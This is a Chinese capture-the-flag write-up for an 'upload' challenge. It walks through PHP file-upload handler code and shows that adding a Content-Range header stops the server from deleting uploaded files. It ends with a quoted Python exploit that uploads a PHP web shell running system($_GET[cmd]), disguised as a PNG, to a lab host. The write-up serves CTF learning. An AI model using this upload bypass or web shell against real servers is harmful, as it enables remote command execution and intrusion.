[纵横杯1st 线下赛]upload
知识点
- Content-Range
-
解题步骤
下载源码。很多,需要找关键点。直接全局搜索post。(上传文件一般都会有post方法)
public function post($print_response = true) { if ($this->get_query_param('_method') === 'DELETE') { return $this->delete($print_response); } $upload = $this->get_upload_data($this->options['param_name']); // Parse the Content-Disposition header, if available: $content_disposition_header = $this->get_server_var('HTTP_CONTENT_DISPOSITION'); $file_name = $content_disposition_header ? rawurldecode(preg_replace( '/(^[^"]+")|("$)/', '', $content_disposition_header )) : null; $content_range_header = $this->get_server_var('HTTP_CONTENT_RANGE'); $content_range = $content_range_header ? preg_split('/[^0-9]+/', $content_range_header) : null; $size = $content_range ? $content_range[3] : null; $files = array(); if ($upload) { if (is_array($upload['tmp_name'])) { foreach ($upload['tmp_name'] as $index => $value) { $files[] = $this->handle_file_upload( $upload['tmp_name'][$index], $file_name ? $file_name : $upload['name'][$index], $size ? $size : $upload['size'][$index], $upload['type'][$index], $upload['error'][$index], $index, $content_range ); } } } $response = array($this->options['param_name'] => $files); }
在
$content_range_header = $this->get_server_var('HTTP_CONTENT_RANGE'); $content_range = $content_range_header ? preg_split('/[^0-9]+/', $content_range_header) : null;
这里需要Content-Range的请求头,如果没有就赋值为null。
我们接着转到handle_file_upload
函数protected function handle_file_upload($uploaded_file, $name, $size, $type, $error, $index = null, $content_range = null) { $file = new \stdClass(); $file->name = $this->get_file_name($uploaded_file, $name, $size, $type, $error, $index, $content_range); $file->size = $this->fix_integer_overflow((int)$size); $file->type = $type; if ($this->validate($uploaded_file, $file, $error, $index)) { $this->handle_form_data($file, $index); $upload_dir = $this->get_upload_path(); if (!is_dir($upload_dir)) { mkdir($upload_dir, $this->options['mkdir_mode'], true); } $file_path = $this->get_upload_path($file->name); $append_file = $content_range && is_file($file_path) && $file->size > $this->get_file_size($file_path); if ($uploaded_file && is_uploaded_file($uploaded_file) && $content_range) { if ($append_file) { file_put_contents( $file_path, fopen($uploaded_file, 'r'), FILE_APPEND ); } else { move_uploaded_file($uploaded_file, $file_path); } } else { file_put_contents( $file_path, fopen($this->options['input_stream'], 'r'), $append_file ? FILE_APPEND : 0 ); } $file_size = $this->get_file_size($file_path, $append_file); if ($file_size === $file->size) { $file->url = $this->get_download_url($file->name); if ($this->is_valid_image_file($file_path)) { $this->handle_image_file($file_path, $file); } } else { $file->size = $file_size; if (!$content_range && $this->options['discard_aborted_uploads']) { unlink($file_path); $file->error = $this->get_error_message('abort'); } } $this->set_additional_file_properties($file); } return $file; }
也有很多。慢慢来。分析了一波validate。这个鬼东西好像没卵用,上传.php后缀文件好像也能return true?
一堆东西先不管,看到file_size
,如果没有content-range头部,那么$file->size
必为null,所以直接进到下面的else,然后进入if,之后就会unlink
删除我们上传的文件,但是如果有content-range头部,不管进入if还是else,都不会进入unlink来删除我们上传的文件,所以关键就是加上content-range头部就行。
来自:https://tyskill.github.io/posts/zhb1st/的exp:
import requests
import io
target = "http://d33bd228-368f-4581-93d1-9d54451a30bf.node3.buuoj.cn/"
headers = { "Content-Range": "bytes 0-1023/1070" }
files = {"files[]": ("tyskill.php", io.BytesIO(b"<?php echo('PWN!!');system($_GET[cmd]);?>"), "image/png")}
requests.post(url=target, files=files, headers=headers)
然后在/files里面可以找到上传的php文件,直接打就行